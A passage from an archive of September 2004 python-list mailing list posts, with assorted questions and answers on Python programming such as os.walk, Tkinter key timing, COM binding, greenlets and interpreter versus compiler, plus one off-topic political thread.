> > "offline" mode (it keeps a cache of downloaded info, so it can work
> > without a connection if needed).
> 
> I do not see why there would have to be specific online and offline 
> modes. They are annoying. Especially when they educatedly guess they are 
> not on the Internet and refuse to believe the user who says they are.

It doesn't refuse.  If you tell it that it's online it will faithfully
try to download whether it thinks it is or not.  You are making as many
assumptions as you claim my software will ;)

> > The basic problem is this: it downloads info (RSS feeds) from a variety
> > of sources.  Any one (or more) of these could conceivably fail to
> > download, so simply waiting for a timeout isn't sufficient (not easy to
> > differentiate between having a bad server and the client not having a
> > connection).  Further, if it waits (say 30s) for the timeout to occur,
> > this is going to be a bit annoying to the user.
> 
> So why not assume you are always connected to the Internet. Download 
> updated info into local cache whenever possible and always show local 
> cached information. Of course you could somehow indicate the age of the 
> cached information, so the user doesn't think that local cached 
> information is up-to-date when it actually isn't.

Because it's a customer requirement.  Besides, as I outlined in a
separate post, there are actually a couple of good reasons for the app
to know when it's offline:

'''
More importantly, if the app is "online", timing out is returned as an
error to the user, whereas in the "offline" state, as long as the data
is cached, there is no error.  Also, in the case of being offline and
there is no data in the cache, the error message is to be different than
if the app is online and the connection fails.
'''

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From remy.blank_asps at pobox.com  Fri Sep 24 10:11:03 2004
From: remy.blank_asps at pobox.com (Remy Blank)
Date: Fri, 24 Sep 2004 16:11:03 +0200
Subject: unittest.py patch: add skipped test functionality
In-Reply-To: <41542653.3060606@python.org>
References: <cj0o6t$mn2$1@sea.gmane.org> <41542653.3060606@python.org>
Message-ID: <cj19tn$8p9$1@sea.gmane.org>

David Goodger wrote:
> [Remy Blank]
>>I would also like to know if this would be a candidate for inclusion
>>into the unittest.py provided with Python.
> 
> To have any chance of that, you should add your patch to the
> SourceForge patch tracker for Python:

Done. Thanks!

-- Remy


Remove underscore and suffix in reply address for a timely response.



From steve at holdenweb.com  Mon Sep 20 14:28:42 2004
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 20 Sep 2004 14:28:42 -0400
Subject: uncompressed size of .gz file
In-Reply-To: <200409201436.24139.heikowu@ceosg.de>
References: <000001c49ed3$35125b20$0a0c10ac@che2003>
	<mailman.3551.1095676652.5135.python-list@python.org>
	<BEz3d.27319$ni.10745@okepread01>
	<200409201436.24139.heikowu@ceosg.de>
Message-ID: <414F215A.1060504@holdenweb.com>

Heiko Wundram wrote:
> Am Montag, 20. September 2004 13:58 schrieb Steve Holden:
> 
>>As long as the format is documented itr doesn't really matter whether it
>>  stores the bytes big-endian, little-endian or alternating from the big
>>and little ends.
> 
> 
> I know that. But it's just a rule of thumb for me: take any format which tries 
> to be machine indepent, look at the byte-order: big-endian. For example: 
> JPEG, TIFF (which has a marker for little or big-endian, but you'll mostly 
> find big-endian TIFFs), network addresses, all binary RPC protocols I know 
> of, etc.
> 
> It's not that I don't believe the effbot, but I just found it fishy to be 
> little-endian when the format is standardized as a HTTP transport encoding 
> (which is a network protocol)...
> 
> Wait, I just reread the comment from the RFC... And this clearly states:
> 
> "All multi-byte numbers in the format described here are stored with the 
> least-significant byte first (at the lower memory address)."
> 
> least-significant byte first to me sounds like big-endian, doesn't it? And 
> thus should warrant a > qualifier, or not? Or am I plain wrong on this?
> 
> Heiko.
> 
> 
[Sorry about the delay, I'm forced to access the list rather than the 
newsgroup]. On of the laughable things about the names "big-" and 
"little-endian" is that unlike their originals (taken from "Gulliver's 
Travels", and used to describe which end of a boiled egg should be 
opened for eating) they don't actually specify what they mean. This 
underlines the essentially arbitrary nature of the choice.

You might as well say "left-handed" or "right-handed"!

regards
  Steve

-- 
XXX Please note recent change of email address


From mwilson at the-wire.com  Wed Sep  1 11:35:08 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Wed, 01 Sep 2004 11:35:08 -0400
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <sweNBls/KXoF089yn@the-wire.com>

In article <8JbZc.140699$UTP.23045 at twister01.bloor.is.net.cable.rogers.com>,
"Dan Perl" <dperl at rogers.com> wrote:
>When learning something, I need to understand the 'WHY' behind a design
>decision like that, when clearly there are alternatives.  I will not be
>satisfied with an explanation of "that's the Python way and you just have to
>learn it".  The explanation of choosing "explicit" instead of "implicit"
>makes sense and helps me in better understanding Python.  I have to mention
>though that I do not accept "explicit is better than implicit" as an
>absolute truth.

   That's the "Zen" part.  Cf.  Neils Bohr's definition of a
Great Truth:  a Great Truth is a proposition whose opposite
is also a Great Truth.

>              .  [That's like when someone told me once with pride: "I
>always design bottom-up."]

:)
A: I always design bottom-up.  This is my latest application.
B: What is it?
A: I don't know.

   We know where we stood the ladder, but aside from "up",
we can't say much about where it goes.

> [ ... ]
>You may see in another message I posted in this thread that I ended up
>giving an answer to my own question (the 'WHY' question).  Here is my reason
>for that 'WHY'.  Python does not have method overloading (and I am ok with
>that, because it comes with the dynamic typing), so you cannot have a
>default constructor and a non-default one at the same time.  C++ and Java
>have overloading and then can also mandate a default constructor for a
>parent class, even if it's empty because you actually use only a non-default
>constructor for that class.  Python cannot request that you also implement a
>default __init__ when you need a non-default one.  There would be the
>possibility of adding another special method, but there's already __init__
>and __new__, so that would be too confusing.

I think the difference between:

    class B (A):
        def __init__ (self, ...)
...         B related stuff
            A.__init__ (self, ...)


    class B (A):
        def __init__ (self, ...)
            A.__init__ (self, ...)
...         B related stuff


    class B (A):
        def __init__ (self, ...)
...         B related stuff
            A.__init__ (self, ...)
...         more B related stuff


shows that it's simplest just to code what you want done..
and that's without looking at multiple inheritance,
or different argument lists between A's and B's __init__.

        Regards,        Mel.


From mwh at python.net  Tue Sep 14 07:55:54 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Sep 2004 11:55:54 GMT
Subject: Subclassing in C
References: <I4057u.3Er@research.att.com>
Message-ID: <m31xh59i9h.fsf@pc150.maths.bris.ac.uk>

Iker Arizmendi <iker at research.att.com> writes:

> Hello all,
> 
> I've defined a class in a C extension module that is
> (or rather, I would like to be) a subclass of another
> class. I do this by simply setting the tp_base pointer
> of my subclass's type object. However, this results
> in a class that exposes the methods of the base class,
> but ONLY those. The methods of my subclass are hidden.
> I'd obviously like to have the methods of the base
> class AND the new methods of the subclass available.

Are you setting tp_getattro to PyObject_GenericGetAttr? (just a
guess).

Cheers,
mwh

-- 
  <dash> it's like a bicycle
  <dash> but with internet                      -- from Twisted.Quotes


From anthony at python.org  Sun Sep  5 03:58:15 2004
From: anthony at python.org (Anthony Baxter)
Date: Sun, 05 Sep 2004 17:58:15 +1000
Subject: UPDATE: New 2.4a3 Windows installer and random.py patch available
Message-ID: <413AC717.5010707@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Due to a goof in the packaging scripts, the Windows installer
that was released on Friday for 2.4a3 broke file associations
for .py files. There's a fixed installer (python-2.4a3.2.msi)
available from the Python 2.4 web page.

There's also a patch for the breakage for random.py on systems
that don't have support for the new os.urandom() call. This is
also available from the Python 2.4 web page.

~    http://www.python.org/2.4/

We apologise to those affected by these bugs, and I'd like to
thank the folks who downloaded the release and let us know about
the problems so promptly.

Anthony Baxter
anthony at python.org
Python Release Manager
(on behalf of the entire python-dev team)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBOscVDt3F8mpFyBYRAk2xAJ9KcxQf5JOTmD6dpOiBShe/8jnWSwCgnL/S
hN44eBC0mqygEhltFK2W9Ig=
=W445
-----END PGP SIGNATURE-----


From bm at acm.org  Sun Sep 12 10:21:55 2004
From: bm at acm.org (Bulent Murtezaoglu)
Date: Sun, 12 Sep 2004 17:21:55 +0300
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<41444b6a$0$6932$61fed72c@news.rcn.com>
Message-ID: <87zn3v7ekc.fsf@p4.internal>

>>>>> "jmf" == jmfbahciv  <jmfbahciv at aol.com> writes:
    jmf>    Grant Edwards <grante at visi.com> wrote:
    >> ...  Bush thinks he's entitled
    >> to declare anybody and everybody an "enemy combatant" and lock
    >> them up in secret forever.

    jmf> Would rather he do like Italy?  They are letting them go.
    jmf> Then these released people go blow up something else. [...]

Why are those the only two choices?  Do you think people turn into 
bomb-wielding terrorists by feat of mere suspicion?

I don't think the US abuses the 'enemy combatant' device as much as we
fear, yet.   But if the people in the US are convinced that the choice is
between getting blown up and secret detentions w/o judicial oversight
then it will get far worse than we fear.  

I am beginning to think the US gov't and populace alike might be
believing the "they hate us for our freedoms" line and trying to get rid 
of the said freedoms in the hope that it will appease the terrorists.

Look, what is to prevent your government from putting cuffs on me and 
shipping me off to a dungeon the next time I am in the US because of 
the sentence above?  Would I see a judge?  Lawyer?  Would anybody even 
know?  Are you guys truly scared enough to sanction this kind of behaviour 
from your gov't?  

cheers,

BM



From nick at craig-wood.com  Tue Sep 21 05:30:01 2004
From: nick at craig-wood.com (Nick Craig-Wood)
Date: 21 Sep 2004 09:30:01 GMT
Subject: Python for Perl programmers?
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
Message-ID: <slrnckvr5e.jj8.nick@irishsea.home.craig-wood.com>

Markus Dehmann <markus.cl at gmx.de> wrote:
>  I am using perl for everything, even bigger programs, with objects,
>  uh, modules and stuff. I know pretty much every trick in perl and have
>  a lot of experience.
> 
>  But I'd like to try a cleaner language, where you don't have to type
>  so much crap to create a class etc. So, I wanna give python a try.

I've recently made that journey myself!  For that reason and the
horrible experience of trying to maintain 25,000 lines of perl code.

>  Is there a tutorial that takes all the standard perl things and then
>  explains how to do them in python? That would be perfect. Open a file,
>  take all the words, put them in a hash,

I recently had a revelation to do with Perl hashes.  Whenever I would
have written a hash in Perl, I now create a class in Python.  The
class can then have documentation and methods.  This is a major
difference for me betwen the two languages - its just so easy to
create a class in Python that whenever you are thinking of a data
structure you create a class (rather than a hash) and then immediately
you get a place to put functions which operate on that data etc.

I always found OO in Perl so clunky that I hardly ever bothered with
it, except if I was making a module.  Python really encourages me to
do OO, and all my python programs are modules anyway.  (I need that
encouragement to use OO since I'm of an age that my first computer
language was BASIC and my second assembler ;-)

>  do something with them, print the result in a formatted way, write
>  it to a new file etc. Create a class that downloads newsgroups,
>  etc. Things like that.
> 
>  I don't need long explanations, but just the perl code and the
>  corresponding python code. Maybe that even helps seeing: ah, python is
>  much cleaner, or shorter, or whatever.

I've found that Python without all those { } @ % $ _ to be quite a bit
cleaner looking than Perl, especially for math heavy code.  The
indentation thing really works.  Docstrings are great.  And the
standard library is very good and very comprehensive - you don't need
to download some module from CPAN of dubious quality - its all in the
standard library, properly documented etc.

Downsides of Python?  __init__ __this__ __that__ __etc__ - I found
that a real turnoff initially! Regexpes a little more clunky.  Same
functionality though.  No command line shortcuts -l -p -i etc.  (Not a
bad thing probably!).

Things which trip my up regularly?  I still forget to put () on method
calls which take no parameters.  Luckily pychecker catches this!

>  I mean, if I want to learn French and I already know a lot about
>  languages, it's probably good not to learn all the grammar, but just
>  to take an English book and the French translation, and learn from it.
>  I want to do the same to learn python.

"Programming Python" by Mark Lutz I found to be helpful as it has lots
of examples.

"Python Essential Reference" by David Beazley was useful for its
Python quickstart and library reference.

Write a python program is my advice though!

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From elainejackson7355 at home.com  Mon Sep 13 00:32:43 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Mon, 13 Sep 2004 04:32:43 GMT
Subject: 'telegraphy' as a means of data entry
References: <QOK0d.394968$gE.276141@pd7tw3no><8YGdnbbBS6xILt7cRVn-iA@powergate.ca><llT0d.382584$M95.334812@pd7tw1no><S-ydnXbZkPyO0NncRVn-jg@powergate.ca>
	<mailman.3203.1094997692.5135.python-list@python.org>
Message-ID: <Lp91d.406455$gE.129433@pd7tw3no>

This is exactly what I was looking for. Thanks very much for the assist.

"Fredrik Lundh" <fredrik at pythonware.com> wrote in message
news:mailman.3203.1094997692.5135.python-list at python.org...
| Peter Hansen wrote:
|
| > > | > I need to record the respective times of the events in a sequence of
| > > | > presses/releases of a particular key on the computer keyboard.
|
| > And Tkinter could certainly do it to, but I don't do Tkinter. :)
|
| in Tkinter, you'll find the event time (in milliseconds) in the time
| attribute of the event descriptor:
|
|     from Tkinter import *
|
|     frame = Frame(width=100, height=100)
|     frame.pack()
|     frame.focus()
|
|     def handler(event):
|         print event.time / 1000.0
|
|     frame.bind("<Key>", handler)
|
|     mainloop()
|
| the above only tracks key presses; if you need to track releases
| as well, add an extra binding for KeyRelease.
|
| also note that unlike Peter's example, the time attribute contains
| the time when the event was generated, not when it reached your
| program.
|
| </F>
|
|
|




From peter at engcorp.com  Tue Sep  7 00:07:59 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Sep 2004 00:07:59 -0400
Subject: How to actually write a program?
In-Reply-To: <m2u0ua24m5.fsf@unique.fully.qualified.domain.name.yeah.right>
References: <mailman.2853.1094247955.5135.python-list@python.org>
	<41398a3c$0$255$edfadb0f@dread12.news.tele.dk>
	<KaKdnbMRX_iUdqHcRVn-vw@powergate.ca>
	<m2u0ua24m5.fsf@unique.fully.qualified.domain.name.yeah.right>
Message-ID: <CfCdnXVVl5w5rqDcRVn-hg@powergate.ca>

Dan Sommers wrote:
> Also as a new programmer, the OP is as unlikely to know how to write a
> test, nor how to write a test that fails, nor how to write the code that
> causes the test to pass.

Which is why he was directed to useful links about what TDD
means and how to do it, rather than being told merely to
"write a test".  At least, that's the holistic result of
the various responses, as I see it.  The Dive In To Python
chapter on unit testing, for example, would tell him all he
needs to know to get started doing TDD (as I recall, from the
last time I read it... I assume it hasn't changed much).

> How can he write a test, when he doesn't know how to start to write a
> program?

The key is "how to start", not "how to write".  Go back to
the OP's words: "What I really want to know is, if you are going
to actually write a program or a project of some sort, how do you
actually start."

> TDD assumes that programmers can write programs.

TDD gives people a way of writing programs.  Writing
programs makes them programmers.  ;-)

-Peter


From FBatista at uniFON.com.ar  Thu Sep 30 09:11:19 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 30 Sep 2004 10:11:19 -0300
Subject: List comprehensions performance
Message-ID: <A128D751272CD411BC9200508BC2194D053C7A13@escpl.tcp.com.ar>

[aleaxit at yahoo.com]

#- More generally, _who cares_ about this kind of speedups?!  Premature
#- optimization is the root of all evil in programming.  Make 
#- your programs
#- clear, simple, readable -- that's ALWAYS important!  So is 
#- using general
#- algorithms and data structures with good O() characteristics if the
#- input size is liable to grow a lot.  But squeezing out 10% 
#- or 20% here
#- or there is going to matter in a TINY minority of cases.  
#- Don't distort
#- your coding for such purposes!

"It is easier to optimize correct code than to correct optimized code."
--Bill Harlan

(from Aahz signature)

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040930/832744c6/attachment.html>

From elbertlev at hotmail.com  Wed Sep 29 15:38:40 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 29 Sep 2004 12:38:40 -0700
Subject: how to get files in a directory
References: <mailman.4078.1096469771.5135.python-list@python.org>
Message-ID: <9418be08.0409291138.1cfba1a@posting.google.com>

Anand K Rayudu <ary at esi-group.com> wrote in message news:<mailman.4078.1096469771.5135.python-list at python.org>...
> Hi all,
> 
> I am trying to find a way to get the files recursively in a given 
> directory,
> 
> The following code is failing, can some one please suggest what could be 
> problem here
> 
> 
> from os import walk,join
> 
> for root,dir,files in os.walk("E:\myDir1\MyDir2"):
>    for i in dir:
>        for j in files:
>            fille = root+i+j
>             print file
> 
> Surprisingly if i give os.walk("E:\myDir1") the above code works, but 
> not if i have 2 levels of directories.
> 
> Thanks & Best Regards,
> Anand


All is wrong!
0. Wrong import
1. not "E:\myDir1\MyDir2", but "E:\\myDir1\\MyDir2"
2. dir and files are in the SAME directory. In other words if the
structure is:
myDir1
    MyDir2
       somefile.py
the first itteration will give an EMPTY dir= [] and files =
['somefile.py']


Here is an example from the manual:

This example displays the number of bytes taken by non-directory files
in each directory under the starting directory, except that it doesn't
look under any CVS subdirectory

import os
from os.path import join, getsize
for root, dirs, files in os.walk('python/Lib/email'):
    print root, "consumes",
    print sum([getsize(join(root, name)) for name in files]),
    print "bytes in", len(files), "non-directory files"
    if 'CVS' in dirs:
        dirs.remove('CVS')  # don't visit CVS directories

so if you want just print full path of the files in E:\myDir1\MyDir2

for root,dir,files in os.walk("E:\myDir1\MyDir2"):
    for j in files:
        fille = os.path.join(root,j)
        print fille

Do not touch dir. It is supposed to be used to restrict the search.
If you do not modify dir it walk will progress into root's
subdirectories.


From jepler at unpythonic.net  Thu Sep  9 09:46:06 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 9 Sep 2004 08:46:06 -0500
Subject: container-indepentent iteration code ?
In-Reply-To: <10jv5ad1sjgep4d@corp.supernews.com>
References: <10jv5ad1sjgep4d@corp.supernews.com>
Message-ID: <20040909134604.GF19306@unpythonic.net>

def viter(container):
    """Iterate over values of a container"""
    if hasattr(container, "itervalues"):
        return container.itervalues()
    return iter(container)

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/1a1d4a81/attachment.sig>

From davebrok at soda.csua.berkeley.edu  Sun Sep 12 13:33:48 2004
From: davebrok at soda.csua.berkeley.edu (David Pokorny)
Date: Sun, 12 Sep 2004 10:33:48 -0700
Subject: Greenlets: where are they now???
Message-ID: <foadnUs_VtNpFdncRVn-jQ@lmi.net>

Hi,

A few weeks ago, I discovered Armin Rigo's greenlets and thought they were
brilliant. I'm seriously thinking about using them, and at least someone
else is

http://www.eby-sarna.com/pipermail/peak/2004-August/001720.html

Currently, I understand that Greenlets are more-or-less hidden from the
public eye in the Stackless CVS, even though they compile and work like a
charm with regular CPython. Given all the desire for full coroutines that I
hear on Python-dev, greenlets strike me as genuine "hidden treasure." Here
is my point:

A) Why aren't greenlets being considered as a solution to coroutines? (Do
people feel that "hacking the C stack is bad" is a compelling argument? It
strikes me that any coroutine implementation in CPython will have to do
this.)

B) Will a later version of CPython support greenlets natively? (in
particular by adding the appropriate entries to PyThreadState)

C) Will greenlets ever be released? Is there a ToDo list that prevents their
release?

D) How did he come up with a cool name like "Greenlet"?

Cheers,
David




From martin at v.loewis.de  Mon Sep  6 01:44:18 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 06 Sep 2004 07:44:18 +0200
Subject: Python23 and XRC support
In-Reply-To: <1rtn1w1rd8jfe.dlg@news.individual.net>
References: <1rtn1w1rd8jfe.dlg@news.individual.net>
Message-ID: <413bf929$0$13033$9b622d9e@news.freenet.de>

Active8 wrote:
> Is the windows binary for Python 2.3.4 compiled with XRC support?

Can you please explain what XRC is?

Thanks,
Martin


From duncan.booth at invalid.invalid  Wed Sep 15 08:36:31 2004
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 15 Sep 2004 12:36:31 GMT
Subject: Python Oddity - print a reserved name
References: <6f402501.0409150404.75292b5a@posting.google.com>
Message-ID: <Xns95658A6A9564Eduncanrcpcouk@127.0.0.1>

Michael Foord wrote:
> >>> something.__dict__['print'] = 3

Or, slightly prettier, use:

    setattr(something, 'print', 3)

> See that I can't set the something.print attribute directly, but can
> set it indirectly. Is this behaviour 'necessary' or just an anomaly of
> the way IDLE detects Syntax Errors ?
> 

No, that is simply how Python works. You can only use the direct syntax to 
set attributes whose names are valid Python identifiers, but indirectly you 
can use any string at all as the attribute name. It doesn't do any harm and 
sometimes it can be extremely useful.

You can do this pretty much anywhere that Pythonn uses a dict internally. 
For example you can call functions with arbitrary keyword arguments 
provided you use the ** syntax.


From google at prodigycomputing.com  Mon Sep 20 08:40:21 2004
From: google at prodigycomputing.com (Paul Keating)
Date: 20 Sep 2004 05:40:21 -0700
Subject: Pythoncom  early binding puzzle
Message-ID: <51f8958a.0409200440.266bc139@posting.google.com>

I want my Python COM object to do early binding. I have this working
for methods that return floats and dates and variants, but not for
methods that return COM objects. They are returning IDispatch objects
and not the specific COM objects that the client code is expecting.

I've got to the point that makepy reads my type library and generates
this class:

class IArena_MarketDataServer_CurrenciesData(DispatchBaseClass):
#This class is creatable by the name
'Arena_MarketDataServer_CurrenciesData.189'
  CLSID = IID('{E15E5C42-1B3F-4815-B434-FA9BBAB5B62E}')
  coclass_clsid = IID('{FD32DD22-3A89-430E-8FB9-EDC35852721A}')

  ... (method definition here) ...

  _prop_map_get_ = {}
  _prop_map_put_ = {}

But I still seem to get an IDispatch object, whether I do late
binding:

>>> currenciesData =
win32com.client.Dispatch('Arena_MarketDataServer_CurrenciesData')
>>> currenciesData
<COMObject Arena_MarketDataServer_CurrenciesData>

or try to force early binding:

>>> gencache.EnsureModule('{2A4EEEBF-907A-4038-A7DA-FE299AB491B1}', 0,
1, 8)
<module 'win32com.gen_py.2A4EEEBF (etc)' from
'(path)\2A4EEEBF...x0x1x8.py'>
>>> currenciesData =
win32com.client.Dispatch('Arena_MarketDataServer_CurrenciesData')
>>> currenciesData
<COMObject Arena_MarketDataServer_CurrenciesData>

The second time, it should be something like
<win32com.gen_py.Arena_MarketDataServer 1.8(.9) Type
Library.Arena_MarketDataServer_CurrenciesData>

I've checked the GUIDs, they are ok. Any suggestions on what error
this symptom indicates?


From aleaxit at yahoo.com  Tue Sep  7 05:48:16 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 11:48:16 +0200
Subject: Problems with dict and C API
References: <413C39F5.3040200@email.si>
	<1gjps70.13wrslf1onzu0wN%aleaxit@yahoo.com>
	<chjvls$ekj$1@planja.arnes.si>
Message-ID: <1gjqrb5.1c1r97bohdv13N%aleaxit@yahoo.com>

Matjaz <surfmatj at email.si> wrote:

> Alex,
> 
> thank you for this valuable piece of information. I will
> indeed try to use mapping protocol as much as possible.
> However, I am curious of the following: were the
> functions for setting/getting items (should be PyMapping_SetItem
> and PyMapping_GetItem, like that for object and dictionaries)
> left out on purpose, because there exist
> only "string" versions PyMapping_SetItemString and
> PyMapping_GetItemString?

No, you're just still looking at a too-specific level -- think abstract!

PyObject_SetItem and PyObject_GetItem are the API functions you're
looking for; there is no PyMapping_SetItem because it would just be a
total duplicate of PyObject_SetItem, just about.  The ...String
convenience functions are there because using a string key is such a
frequent task on mappings specifically, not on objects in general.  But
indexing _IS_ frequent on objects in general, so it's supported at that
level.


Alex


From peter at engcorp.com  Wed Sep 15 14:38:02 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Sep 2004 14:38:02 -0400
Subject: The pythonic approach
In-Reply-To: <1gk667x.c4zizl1dbti8lN%aleaxit@yahoo.com>
References: <414656ab$0$4777$a729d347@news.telepac.pt>
	<0dS1d.52$AA4.38@read3.inet.fi>
	<VvudnZA1tsc0r9XcRVn-uw@powergate.ca>
	<mailman.3371.1095265246.5135.python-list@python.org>
	<5r-dnRtq1OWw59XcRVn-sg@powergate.ca>
	<1gk667x.c4zizl1dbti8lN%aleaxit@yahoo.com>
Message-ID: <KOidnUr-b6GWEdXcRVn-vA@powergate.ca>

Alex Martelli wrote:

> Peter Hansen <peter at engcorp.com> wrote:
>>Principle of least surprise.  One rarely encounters .get(x, x)
> 
> Funny -- I encounter it SO often I consider it a basic idiom!!!

I think if the example had been one like your XML massaging
example, it wouldn't have felt very out of place, even if
I haven't seen it very often.  (I'm quite sure I've used
it myself, for the same "optional translation" characteristics,
but I guess I work in areas different enough that it hasn't
been frequent.)

-Peter


From guess at My.email.address.scum.com  Tue Sep  7 12:41:40 2004
From: guess at My.email.address.scum.com (Anon)
Date: Tue, 7 Sep 2004 17:41:40 +0100
Subject: Python Interpreter question.
Message-ID: <chkoc4$l08$1@newsg2.svr.pol.co.uk>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello all

 I am a beginner teaching myself python, and I am enjoying it immensely :)
As a language it is great, I real treat to study, I actually find it fun to 
study the language heh

Anyways to the point of my post.....

The other day I was talking with a few others about the age old Interpreted 
v compiled language issue.
Were one person was saying,

"You cannot beat a compiled language."
"Interpreted scripting languages like python are just to slow" he said.

Well I agreed with him that compared to say C or any other compiled 
language, languages like python and
[dare I mention the word here] 'perl',  are slower in some cases;

 "But!!", I said,  "they are also more advantageous in many other ways as 
well."

Well, after a few minutes, another Python champion came into the debate, and 
turned everything on it's head by saying this,

"Python is also a compiled language, and it doesn't use an interpreter, it 
uses the Python VM"

Well I was shocked at first lol, and indignant, telling him that Python does 
indeed have an interpreter and python was an interpreted language, while 
also reminding him that I also prefer python to to other languages as well.

I asked him, "Well what is sitting on my hard drive if not the Python 
Interpreter?"

He replied that it wasn't an interpreter and was the Python compiler and VM 
that did what I was refering to.
He went on to explain that the so called, "Interpreter" I was referring to 
didn't exist, and that what python does when it gets python source, or 
[shudders at the word] "script",  is to compile the python source into 
python byte code and then pass that compiled data to the python VM for 
running.

So my question is this really,

Is all of that true? is it right to say in fact that python doesn't have an 
interpreter, but rather it has a compiler and VM for running the python 
code?

Please forgive me if all this sounds so simple to you experienced types, 
Python is my 1st language, and while I am loving it and learning at a good 
steady rate, python is still my, "first computer language".

Thanks in advance..
Anon




- -- 
*************
The Imagination may be compared to Adam's dream-
he awoke and found it truth.
John Keats.
*************
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBQT3kwi/z2sM4qf2WEQLKsQCcDwg03n7KYM7OmGRVjCCoCUk8PpkAn2Pa
EEwtRUMnMLHi+iYtIqR1mAgT
=o/5V
-----END PGP SIGNATURE-----




From fumanchu at amor.org  Fri Sep  3 11:34:33 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 3 Sep 2004 08:34:33 -0700
Subject: final version of PEP-318 "Decorators for functions and methods"
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EB3@exchange.hqamor.amorhq.net>

Anthony Baxter wrote:
> To go along with the 2.4a3 release, here's an updated version of
> the decorator PEP. It describes the state of decorators as they
> are in 2.4a3.

Cool. Question, though--I expect the PEP to outlast my little website.
If the PEP wants to reference the J2 proposal, would it be better to
host that document somewhere on python.org? If so, just grab it off my
website and post it in some dark corner somewhere; then I'll put up a
redirect on my site.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From maps_263 at hotmail.com  Fri Sep 17 14:10:32 2004
From: maps_263 at hotmail.com (Jonas Hei)
Date: Fri, 17 Sep 2004 20:10:32 +0200
Subject: Recommendations about xmltramp
References: <opsehcf5d4r0m89z@fx1025> <p4CdnTzAp_HFvNbcRVn-jw@giganews.com>
Message-ID: <opsehgrucor0m89z@fx1025>

On Fri, 17 Sep 2004 13:39:36 -0400, Istvan Albert <ialbert at mailblocks.com>  
wrote:
>
> xmltramp is a XML data reading framework. It cannot corrupt data.
> It may parse it incorrectly though.
>
> Istvan.

It appears to be a little bit more than that.
Check out 'Mutations and re-serialization' section at
http://www.xml.com/lpt/a/2003/12/17/py-xml.html


From abra9823 at mail.usyd.edu.au  Wed Sep  8 01:03:04 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Wed,  8 Sep 2004 15:03:04 +1000
Subject: [XML-SIG] minidom parse error - keyerror
In-Reply-To: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au>
References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au>
Message-ID: <1094619784.413e9288a0f13@www-mail.usyd.edu.au>

hi!

i have tried the archives now and heaps of Google searches but am no closer
to finding out what the error is.

the error does not appear if i use expat.

cheers


Quoting Ajay <abra9823 at mail.usyd.edu.au>:

> hi!
>
> i am parsing the attached document.
> the code is
> parser = make_parser('xml.sax.drivers2.drv_xmlproc')
> ruleSet = parse(ruleSetFile, parser=parser)
>
> i am using python2.3.4 with PyXML version 0.8.1
>
> i get the following error
>
> Traceback (most recent call last):
>   File "evaluator.py", line 59, in ?
>     ea = ae.evaluate("complywitheudirective.xml", "policy-eg1.xml", 0)
>   File "evaluator.py", line 22, in evaluate
>     ruleSet = parse(ruleSetFile, parser=parser)
>   File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line
> 1912,
> in pa
> rse
>     {'parser': parser, 'bufsize': bufsize})
>   File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line
> 1899,
> in _d
> o_pulldom_parse
>     toktype, rootNode = events.getEvent()
>   File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line
> 265,
> in get
> Event
>     self.parser.feed(buf)
>   File
> "C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py",
> lin
> e 96, in feed
>     self._parser.feed(data)
>   File
> "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlutils.py",
> lin
> e 332, in feed
>     self.do_parse()
>   File
> "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py",
> line
>  93, in do_parse
